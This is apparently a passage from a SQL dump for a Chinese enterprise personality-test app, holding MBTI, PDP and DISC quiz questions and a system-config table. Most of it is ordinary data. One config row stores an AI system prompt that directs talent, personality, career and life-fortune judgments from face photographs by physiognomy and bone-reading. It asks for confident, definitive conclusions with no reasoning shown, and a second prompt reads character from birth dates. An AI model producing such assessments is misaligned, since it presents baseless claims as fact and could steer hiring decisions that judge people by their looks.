\"灵活的环境,可以自由发挥\", \"value\": \"P\"}]', 'JP', NULL, 80, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (81, 'mbti', '您更倾向于:', '[{\"text\": \"提前计划假期和活动\", \"value\": \"J\"}, {\"text\": \"即兴决定和安排活动\", \"value\": \"P\"}]', 'JP', NULL, 81, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (82, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的日程安排\", \"value\": \"J\"}, {\"text\": \"根据当天的情况决定\", \"value\": \"P\"}]', 'JP', NULL, 82, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (83, 'mbti', '您更倾向于:', '[{\"text\": \"按照计划行事,避免意外\", \"value\": \"J\"}, {\"text\": \"适应变化,享受意外惊喜\", \"value\": \"P\"}]', 'JP', NULL, 83, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (84, 'mbti', '您更喜欢的生活方式是:', '[{\"text\": \"有规律和可预测的\", \"value\": \"J\"}, {\"text\": \"自然流动和多变的\", \"value\": \"P\"}]', 'JP', NULL, 84, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (85, 'mbti', '您更倾向于:', '[{\"text\": \"提前做好准备,避免匆忙\", \"value\": \"J\"}, {\"text\": \"在最后一刻完成准备,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 85, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (86, 'mbti', '您更喜欢:', '[{\"text\": \"明确的指导和方向\", \"value\": \"J\"}, {\"text\": \"探索不同的可能性\", \"value\": \"P\"}]', 'JP', NULL, 86, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (87, 'mbti', '您更倾向于:', '[{\"text\": \"按照既定的程序和方法工作\", \"value\": \"J\"}, {\"text\": \"根据情况调整工作方法\", \"value\": \"P\"}]', 'JP', NULL, 87, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (88, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的目标和计划\", \"value\": \"J\"}, {\"text\": \"保持开放的态度,随机应变\", \"value\": \"P\"}]', 'JP', NULL, 88, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (89, 'mbti', '您更倾向于:', '[{\"text\": \"做决定并坚持执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据新信息调整\", \"value\": \"P\"}]', 'JP', NULL, 89, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (90, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的期望和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程和时间安排\", \"value\": \"P\"}]', 'JP', NULL, 90, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (91, 'pdp', '面对紧急任务,您的第一反应是:', '[{\"text\": \"立即行动,快速完成\", \"value\": \"Tiger\"}, {\"text\": \"召集团队,激励大家\", \"value\": \"Peacock\"}, {\"text\": \"冷静分析,稳步推进\", \"value\": \"Koala\"}, {\"text\": \"仔细规划,确保无误\", \"value\": \"Owl\"}, {\"text\": \"根据情况灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 1, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (92, 'pdp', '在社交场合,您通常会:', '[{\"text\": \"主导话题,引领讨论\", \"value\": \"Tiger\"}, {\"text\": \"活跃气氛,成为焦点\", \"value\": \"Peacock\"}, {\"text\": \"安静倾听,适时回应\", \"value\": \"Koala\"}, {\"text\": \"观察分析,选择性交流\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 2, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (93, 'pdp', '您最看重工作中的:', '[{\"text\": \"权力和成就\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"稳定和和谐\", \"value\": \"Koala\"}, {\"text\": \"准确和质量\", \"value\": \"Owl\"}, {\"text\": \"平衡和适应\", \"value\": \"Chameleon\"}]', NULL, NULL, 3, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (94, 'pdp', '处理冲突时,您倾向于:', '[{\"text\": \"直接面对,迅速解决\", \"value\": \"Tiger\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"Peacock\"}, {\"text\": \"避免冲突,维护和平\", \"value\": \"Koala\"}, {\"text\": \"分析原因,理性处理\", \"value\": \"Owl\"}, {\"text\": \"灵活应对,视情况而定\", \"value\": \"Chameleon\"}]', NULL, NULL, 4, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (95, 'pdp', '您的决策风格是:', '[{\"text\": \"果断迅速,行动导向\", \"value\": \"Tiger\"}, {\"text\": \"直觉判断,情感驱动\", \"value\": \"Peacock\"}, {\"text\": \"深思熟虑,追求共识\", \"value\": \"Koala\"}, {\"text\": \"数据分析,逻辑推理\", \"value\": \"Owl\"}, {\"text\": \"综合考虑,灵活决策\", \"value\": \"Chameleon\"}]', NULL, NULL, 5, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (96, 'pdp', '面对压力,您会:', '[{\"text\": \"更加强势,控制局面\", \"value\": \"Tiger\"}, {\"text\": \"寻求支持,表达情绪\", \"value\": \"Peacock\"}, {\"text\": \"保持冷静,稳定情绪\", \"value\": \"Koala\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"Owl\"}, {\"text\": \"调整策略,灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 6, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (97, 'pdp', '您的领导风格是:', '[{\"text\": \"指挥型,明确方向\", \"value\": \"Tiger\"}, {\"text\": \"激励型,鼓舞士气\", \"value\": \"Peacock\"}, {\"text\": \"支持型,关怀团队\", \"value\": \"Koala\"}, {\"text\": \"专家型,以身作则\", \"value\": \"Owl\"}, {\"text\": \"教练型,因材施教\", \"value\": \"Chameleon\"}]', NULL, NULL, 7, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (98, 'pdp', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"Tiger\"}, {\"text\": \"可能忽略,更重整体\", \"value\": \"Peacock\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"Koala\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"Owl\"}, {\"text\": \"视情况决定关注程度\", \"value\": \"Chameleon\"}]', NULL, NULL, 8, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (99, 'pdp', '您的沟通方式是:', '[{\"text\": \"直接简短,注重结果\", \"value\": \"Tiger\"}, {\"text\": \"热情生动,富有感染力\", \"value\": \"Peacock\"}, {\"text\": \"温和耐心,善于倾听\", \"value\": \"Koala\"}, {\"text\": \"逻辑清晰,注重事实\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 9, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (100, 'pdp', '您对变化的态度是:', '[{\"text\": \"主动推动,寻找机会\", \"value\": \"Tiger\"}, {\"text\": \"积极拥抱,乐观面对\", \"value\": \"Peacock\"}, {\"text\": \"需要适应时间\", \"value\": \"Koala\"}, {\"text\": \"谨慎评估,确保万全\", \"value\": \"Owl\"}, {\"text\": \"灵活适应,随机应变\", \"value\": \"Chameleon\"}]', NULL, NULL, 10, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (101, 'pdp', '您的时间管理风格是:', '[{\"text\": \"高效利用,追求速度\", \"value\": \"Tiger\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"Peacock\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"Koala\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整计划\", \"value\": \"Chameleon\"}]', NULL, NULL, 11, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (102, 'pdp', '您被什么激励:', '[{\"text\": \"成就和权力\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"安全和归属\", \"value\": \"Koala\"}, {\"text\": \"正确和标准\", \"value\": \"Owl\"}, {\"text\": \"多样性和平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 12, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (103, 'pdp', '您的学习方式是:', '[{\"text\": \"边做边学,实践第一\", \"value\": \"Tiger\"}, {\"text\": \"互动讨论,分享学习\", \"value\": \"Peacock\"}, {\"text\": \"循序渐进,反复练习\", \"value\": \"Koala\"}, {\"text\": \"深入研究,系统学习\", \"value\": \"Owl\"}, {\"text\": \"多种方式结合\", \"value\": \"Chameleon\"}]', NULL, NULL, 13, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (104, 'pdp', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"Tiger\"}, {\"text\": \"灵活运用,不拘一格\", \"value\": \"Peacock\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"Koala\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"Owl\"}, {\"text\": \"视情况灵活处理\", \"value\": \"Chameleon\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (105, 'pdp', '您在团队中的角色是:', '[{\"text\": \"领导者,推动进展\", \"value\": \"Tiger\"}, {\"text\": \"激励者,凝聚人心\", \"value\": \"Peacock\"}, {\"text\": \"协调者,维护和谐\", \"value\": \"Koala\"}, {\"text\": \"专家,提供专业意见\", \"value\": \"Owl\"}, {\"text\": \"多面手,灵活补位\", \"value\": \"Chameleon\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (106, 'pdp', '您的工作节奏是:', '[{\"text\": \"快节奏,追求效率\", \"value\": \"Tiger\"}, {\"text\": \"充满活力,变化多端\", \"value\": \"Peacock\"}, {\"text\": \"稳定有序,按部就班\", \"value\": \"Koala\"}, {\"text\": \"有条理,精确执行\", \"value\": \"Owl\"}, {\"text\": \"根据需要调整节奏\", \"value\": \"Chameleon\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (107, 'pdp', '您最大的优势是:', '[{\"text\": \"决断力和执行力\", \"value\": \"Tiger\"}, {\"text\": \"影响力和感染力\", \"value\": \"Peacock\"}, {\"text\": \"耐心和可靠性\", \"value\": \"Koala\"}, {\"text\": \"分析力和准确性\", \"value\": \"Owl\"}, {\"text\": \"适应力和灵活性\", \"value\": \"Chameleon\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (108, 'pdp', '您的人际关系特点是:', '[{\"text\": \"目标导向,建立有价值的关系\", \"value\": \"Tiger\"}, {\"text\": \"广泛社交,朋友众多\", \"value\": \"Peacock\"}, {\"text\": \"深度交往,关系稳定\", \"value\": \"Koala\"}, {\"text\": \"选择性交往,志同道合\", \"value\": \"Owl\"}, {\"text\": \"根据情况建立不同类型关系\", \"value\": \"Chameleon\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (109, 'pdp', '面对批评,您的反应是:', '[{\"text\": \"可能会反驳或辩护\", \"value\": \"Tiger\"}, {\"text\": \"可能会感到受伤\", \"value\": \"Peacock\"}, {\"text\": \"接受并思考改进\", \"value\": \"Koala\"}, {\"text\": \"分析批评的合理性\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整反应\", \"value\": \"Chameleon\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (110, 'pdp', '您的理想工作环境是:', '[{\"text\": \"充满挑战,自主权高\", \"value\": \"Tiger\"}, {\"text\": \"互动频繁,氛围活跃\", \"value\": \"Peacock\"}, {\"text\": \"稳定和谐,团队协作\", \"value\": \"Koala\"}, {\"text\": \"有序规范,专注质量\", \"value\": \"Owl\"}, {\"text\": \"灵活多变,兼顾平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (111, 'disc', '在团队中,您更倾向于:', '[{\"text\": \"主导决策,带领团队前进\", \"value\": \"D\"}, {\"text\": \"活跃气氛,激励团队成员\", \"value\": \"I\"}, {\"text\": \"支持他人,确保团队和谐\", \"value\": \"S\"}, {\"text\": \"分析数据,确保决策质量\", \"value\": \"C\"}]', NULL, NULL, 1, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (112, 'disc', '面对挑战时,您的第一反应是:', '[{\"text\": \"立即行动,解决问题\", \"value\": \"D\"}, {\"text\": \"寻找支持,团队协作\", \"value\": \"I\"}, {\"text\": \"冷静思考,稳步推进\", \"value\": \"S\"}, {\"text\": \"收集信息,谨慎分析\", \"value\": \"C\"}]', NULL, NULL, 2, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (113, 'disc', '您在工作中最看重的是:', '[{\"text\": \"成果和效率\", \"value\": \"D\"}, {\"text\": \"认可和赞赏\", \"value\": \"I\"}, {\"text\": \"稳定和安全\", \"value\": \"S\"}, {\"text\": \"准确和质量\", \"value\": \"C\"}]', NULL, NULL, 3, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (114, 'disc', '与他人沟通时,您通常:', '[{\"text\": \"直接了当,注重结果\", \"value\": \"D\"}, {\"text\": \"热情友好,善于表达\", \"value\": \"I\"}, {\"text\": \"耐心倾听,体贴理解\", \"value\": \"S\"}, {\"text\": \"逻辑清晰,注重细节\", \"value\": \"C\"}]', NULL, NULL, 4, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (115, 'disc', '压力之下,您会:', '[{\"text\": \"变得更加强势和控制\", \"value\": \"D\"}, {\"text\": \"寻求他人支持和鼓励\", \"value\": \"I\"}, {\"text\": \"保持冷静,按部就班\", \"value\": \"S\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"C\"}]', NULL, NULL, 5, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (116, 'disc', '您认为自己的优势是:', '[{\"text\": \"决断力强,行动迅速\", \"value\": \"D\"}, {\"text\": \"人际关系好,善于激励\", \"value\": \"I\"}, {\"text\": \"可靠稳定,团队协作\", \"value\": \"S\"}, {\"text\": \"分析能力强,注重细节\", \"value\": \"C\"}]', NULL, NULL, 6, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (117, 'disc', '在会议中,您通常扮演的角色是:', '[{\"text\": \"主导者,推动决策\", \"value\": \"D\"}, {\"text\": \"激励者,调动气氛\", \"value\": \"I\"}, {\"text\": \"调和者,平衡各方\", \"value\": \"S\"}, {\"text\": \"分析者,提供数据\", \"value\": \"C\"}]', NULL, NULL, 7, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (118, 'disc', '您最不喜欢的工作环境是:', '[{\"text\": \"缺乏挑战,进展缓慢\", \"value\": \"D\"}, {\"text\": \"被孤立,缺乏互动\", \"value\": \"I\"}, {\"text\": \"变化太快,不稳定\", \"value\": \"S\"}, {\"text\": \"混乱无序,缺乏标准\", \"value\": \"C\"}]', NULL, NULL, 8, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (119, 'disc', '做决定时,您更依赖:', '[{\"text\": \"直觉和经验\", \"value\": \"D\"}, {\"text\": \"他人的意见\", \"value\": \"I\"}, {\"text\": \"过去的成功经验\", \"value\": \"S\"}, {\"text\": \"数据和事实\", \"value\": \"C\"}]', NULL, NULL, 9, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (120, 'disc', '您的工作风格是:', '[{\"text\": \"快速高效,注重结果\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满创意\", \"value\": \"I\"}, {\"text\": \"稳定持续,一步一步\", \"value\": \"S\"}, {\"text\": \"严谨细致,追求完美\", \"value\": \"C\"}]', NULL, NULL, 10, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (121, 'disc', '遇到冲突时,您会:', '[{\"text\": \"直面冲突,解决问题\", \"value\": \"D\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"I\"}, {\"text\": \"避免冲突,保持和谐\", \"value\": \"S\"}, {\"text\": \"分析原因,找出根本\", \"value\": \"C\"}]', NULL, NULL, 11, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (122, 'disc', '您期望的领导风格是:', '[{\"text\": \"给予挑战和自主权\", \"value\": \"D\"}, {\"text\": \"认可和表扬\", \"value\": \"I\"}, {\"text\": \"稳定和支持\", \"value\": \"S\"}, {\"text\": \"明确的指导和标准\", \"value\": \"C\"}]', NULL, NULL, 12, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (123, 'disc', '处理任务时,您更注重:', '[{\"text\": \"速度和效率\", \"value\": \"D\"}, {\"text\": \"创意和新颖\", \"value\": \"I\"}, {\"text\": \"过程和协作\", \"value\": \"S\"}, {\"text\": \"质量和准确\", \"value\": \"C\"}]', NULL, NULL, 13, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (124, 'disc', '您的社交方式是:', '[{\"text\": \"目的明确,建立有价值的关系\", \"value\": \"D\"}, {\"text\": \"广泛社交,认识各种人\", \"value\": \"I\"}, {\"text\": \"深度交往,维护长期友谊\", \"value\": \"S\"}, {\"text\": \"选择性社交,志同道合\", \"value\": \"C\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (125, 'disc', '您理想的工作节奏是:', '[{\"text\": \"快节奏,充满挑战\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满活力\", \"value\": \"I\"}, {\"text\": \"稳定有序,可预测的\", \"value\": \"S\"}, {\"text\": \"有条理,按计划进行\", \"value\": \"C\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (126, 'disc', '面对变化,您的态度是:', '[{\"text\": \"主动拥抱,寻找机会\", \"value\": \"D\"}, {\"text\": \"积极适应,乐观面对\", \"value\": \"I\"}, {\"text\": \"需要时间,逐步适应\", \"value\": \"S\"}, {\"text\": \"谨慎评估,确保万无一失\", \"value\": \"C\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (127, 'disc', '您的时间管理风格是:', '[{\"text\": \"高效利用,最大化产出\", \"value\": \"D\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"I\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"S\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"C\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (128, 'disc', '激励您的是:', '[{\"text\": \"成就和控制\", \"value\": \"D\"}, {\"text\": \"认可和社交\", \"value\": \"I\"}, {\"text\": \"稳定和归属\", \"value\": \"S\"}, {\"text\": \"正确和标准\", \"value\": \"C\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (129, 'disc', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"D\"}, {\"text\": \"可能忽略,更关注整体\", \"value\": \"I\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"S\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"C\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); -INSERT INTO `mbti_questions` VALUES (130, 'disc', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"D\"}, {\"text\": \"灵活运用,不拘泥于规则\", \"value\": \"I\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"S\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"C\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); - --- ---------------------------- --- Table structure for mbti_system_config --- ---------------------------- -DROP TABLE IF EXISTS `mbti_system_config`; -CREATE TABLE `mbti_system_config` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', - `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', - `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', - `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_system_config --- ---------------------------- -INSERT INTO `mbti_system_config` VALUES (1, 'system', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"maintenanceMode\":false,\"maxTestsPerDay\":100,\"trialTestCount\":10}', '系统基础配置', 1770883998, 1772761008); -INSERT INTO `mbti_system_config` VALUES (2, 'notification', 0, '{\"emailNotification\":false,\"lowBalanceAlert\":false,\"lowBalanceThreshold\":1000,\"newEnterpriseNotify\":false}', '通知与告警配置', 1770883998, 1770884109); -INSERT INTO `mbti_system_config` VALUES (3, 'site_info', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"updatedAt\":1772761008}', '站点信息配置', 1770884090, 1772761008); -INSERT INTO `mbti_system_config` VALUES (4, 'prompts', 0, '{\"faceAnalyze\":\"人才测评综合分析表(基于正面 \\/ 左侧 45°\\/ 右侧 45° 面部照片)\\n分析前提:将照片人物视为模拟对象,基于传统相术(《冰鉴》九贵骨、《周易》三停五行、《燕翼子・相人》《骈拇子・卜相》)与现代理论(MBTI、PDP、DISC),结合面部骨相细节做差异化推演;结论明确肯定,不展示推理过程。\\n一、面相特征与性格特质关联(按部位)\\n额头:[填写形状 + 日角月角气势]。其智力超群、谋略深远,早年运势顺遂,擅长抽象学习与系统思考。\\n眼睛:[填写大小 + 神采 + 稳定度]。其思维聚焦精准,情绪管理能力强,人际风格理性且有边界感。\\n鼻子:[填写山根 + 鼻梁 + 鼻翼]。其责任感极强,事业心旺盛,金钱观务实,现实问题处理能力突出。\\n嘴巴:[填写唇形 + 厚薄 + 收放]。其表达直接有力,信守承诺,行动力迅猛,执行节奏紧凑高效。\\n下巴:[填写宽窄 + 方圆 + 厚薄]。其抗压能力卓越,承载力强,晚年运势安稳,能长期坚守目标。\\n耳朵:[填写大小 + 位置 + 贴头]。其感受能力敏锐,学习速度快,对环境变化的敏感度高,适配力强。\\n二、骨相分析(含九贵骨与人生阶段)\\n(一)骨形总评\\n五行形相:[填写金 \\/ 木 \\/ 水 \\/ 火 \\/ 土] 形,对应 [填写核心气质,如金形刚健、木形疏朗] 气质。\\n骨肉关系:[填写停匀 \\/ 骨重肉薄 \\/ 肉多掩骨],决断度 [填写高 \\/ 中 \\/ 低],现实感 [填写强 \\/ 中 \\/ 弱],抗压方式为 [填写理性攻坚 \\/ 柔性缓冲 \\/ 稳健持久]。\\n(二)九贵骨核心结论\\n颧骨与驿马骨:权力欲 [填写强 \\/ 中 \\/ 弱],掌控力 [填写强 \\/ 中 \\/ 弱],倾向 [填写开拓 \\/ 守成]。\\n将军骨与肩背:统帅力 [填写强 \\/ 中 \\/ 弱],属于 [填写冲锋型 \\/ 统筹型] 人才。\\n日月角与龙宫骨:智谋 [填写卓越 \\/ 出众 \\/ 普通],机会嗅觉 [填写敏锐 \\/ 一般],意志力坚定,耐力 [填写持久 \\/ 较强]。\\n伏犀骨与龙角骨:主见坚定度 [填写极高 \\/ 高 \\/ 中],上升冲劲 [填写强劲 \\/ 稳健 \\/ 平缓]。\\n(三)人生阶段发力重点\\n上停(额区):早年运势顺畅,发力重点为学业积累、行业入门与贵人链接。\\n中停(颧鼻):壮年运势鼎盛,发力重点为事业拓展、团队管理与资源整合。\\n下停(下颌):晚年运势安稳,发力重点为经验传承、成果固化与稳健守成。\\n(四)骨相总评建议\\n格局:[填写高 \\/ 中高 \\/ 中],具备 [填写核心格局优势,如统筹全局 \\/ 专业深耕] 潜质。\\n事业路径:优先走 [填写核心路径,如管理晋升 \\/ 专业领军 \\/ 创业开拓] 路线。\\n修性养骨建议:1. [填写具体建议,如每日静坐养神,稳固意志力];2. [填写具体建议,如规律运动强骨,提升行动力]。\\n三、现代性格模型综合判断\\n(一)MBTI 性格类型(精准匹配)\\n类型代码 \\/ 名称:[填写如 INTJ \\/ 建筑师、ESFP \\/ 表演者]\\n思维方式:[填写 2 句话,如 INTJ 擅长逻辑推演与长远规划,聚焦核心目标忽略冗余信息]。\\n决策风格:[填写 1 句话,如以理性分析为核心,优先考量目标达成与效率最优]。\\n(二)PDP 行为偏好\\n主性格:[填写老虎 \\/ 孔雀 \\/ 考拉 \\/ 猫头鹰 \\/ 变色龙]\\n辅助性格:[填写上述其一]\\n核心表现:[填写 1 句话,如老虎主性格者目标导向,变色龙辅助性格者适配环境变化]。\\n(三)DISC 沟通风格\\n主类型:[填写 D 支配型 \\/ I 影响型 \\/ S 稳健型 \\/ C 谨慎型]\\n辅助类型:[填写上述其一]\\n沟通特点:[填写 1 句话,如 D 型主风格直接果断,C 型辅助风格注重细节与逻辑]。\\n(四)核心优势(3-5 个)\\n[填写如战略规划、团队管控、细节把控、人际赋能、危机应对]\\n(五)性格概述(3-5 句话)\\n[整合传统相术与现代模型,填写核心气质,如 “核心气质为刚健稳健,兼具开拓性与守成性”]。[填写做事风格与决策模式,如 “做事雷厉风行且注重细节,决策以理性分析为基础,兼顾长远价值与现实落地”]。[填写人际影响方式,如 “人际中自带威信,既能引领团队攻坚,也能精准协调资源”]。[填写适合的工作环境与发展路径,如 “适配高目标、高挑战的工作环境,发展路径以管理晋升或专业领军为核心,中年后可尝试创业或行业赋能”]。\\n四、职业倾向与优势领域建议(4-6 条)\\n[填写职业方向,如高端管理岗]:匹配点为 [填写面相 \\/ 骨相 \\/ 性格依据,如颧骨与将军骨彰显统帅力,MBTI-J 型擅长统筹决策]。\\n[填写职业方向,如战略规划师]:匹配点为 [填写依据,如额头饱满、伏犀骨凸显,具备极强的谋略与长远眼光]。\\n[填写职业方向,如行业专家]:匹配点为 [填写依据,如猫头鹰性格特质突出,眼神专注,细节把控能力卓越]。\\n[填写职业方向,如团队负责人]:匹配点为 [填写依据,如 D 型沟通风格强势,权力欲与掌控力适配团队管理]。\\n[填写职业方向,如创业项目掌舵人]:匹配点为 [填写依据,如开拓型骨相特质,老虎主性格具备目标导向与攻坚能力]。\\n[填写职业方向,如资源整合顾问]:匹配点为 [填写依据,如变色龙辅助性格,人际适配力强,机会嗅觉敏锐]。\\n五、人际关系与团队协作风格\\n(一)人际风格\\n[填写直接 \\/ 含蓄、理性 \\/ 感性、距离感,如 “直接理性,人际中有适度距离感,注重高效沟通”]。\\n(二)团队角色\\n[填写决策者 \\/ 谋划者 \\/ 执行者 \\/ 协调者,可多选,如 “核心决策者 + 首席谋划者”]。\\n(三)提升建议\\n情绪表达:[填写具体建议,如 “高压场景下放缓语速,加入适度情感共鸣,提升团队凝聚力”]。\\n倾听能力:[填写具体建议,如 “沟通中预留 30% 时间倾听他人观点,兼顾细节与不同视角”]。\\n冲突处理:[填写具体建议,如 “理性化解冲突,以目标为核心协调分歧,避免强势决策引发抵触”]。\\n六、潜能发挥(3-4 个)\\n[填写潜能,如战略落地潜能]:发挥方式为 [填写具体行动,如 “结合自身谋略优势,制定分阶段执行计划,依托团队管控力推动落地”]。\\n[填写潜能,如危机应对潜能]:发挥方式为 [填写具体行动,如 “利用敏锐的环境感知力,提前预判风险,以稳健抗压能力制定备选方案”]。\\n[填写潜能,如人才培养潜能]:发挥方式为 [填写具体行动,如 “依托自身经验与统帅力,搭建人才梯队,通过传帮带实现团队赋能”]。\\n[填写潜能,如创新突破潜能]:发挥方式为 [填写具体行动,如 “结合开拓型骨相特质,打破固有思维,在核心领域尝试跨界创新”]。\",\"reportSummary\":\"请你根据我提供的简历信息(生日、工作经历)以及MBTI、PDP、DISC 三项性格测评结果,进行交叉验证、综合分析,不要只照搬测评标签,而是提炼出这个人的真实性格、行为模式、优势、短板、沟通风格、职业特质。\\n要求:\\n1、结合生日分析性格底色与潜在特质。\\n2、结合工作经历判断真实行为风格、抗压能力、做事习惯、人际模式。\\n3、结合 MBTI、PDP、DISC 三项测评互相印证,去伪存真,得出真实性格画像。\\n4、输出结构清晰:\\n核心性格关键词\\n真实性格深度分析\\n行为与沟通风格\\n优势亮点\\n可提升方向\\n语言专业、客观、精炼,不空洞、不玄学。\\n请根据我接下来提供的信息开始分析。\"}', '系统提示词配置(如面相分析、报告摘要等)', 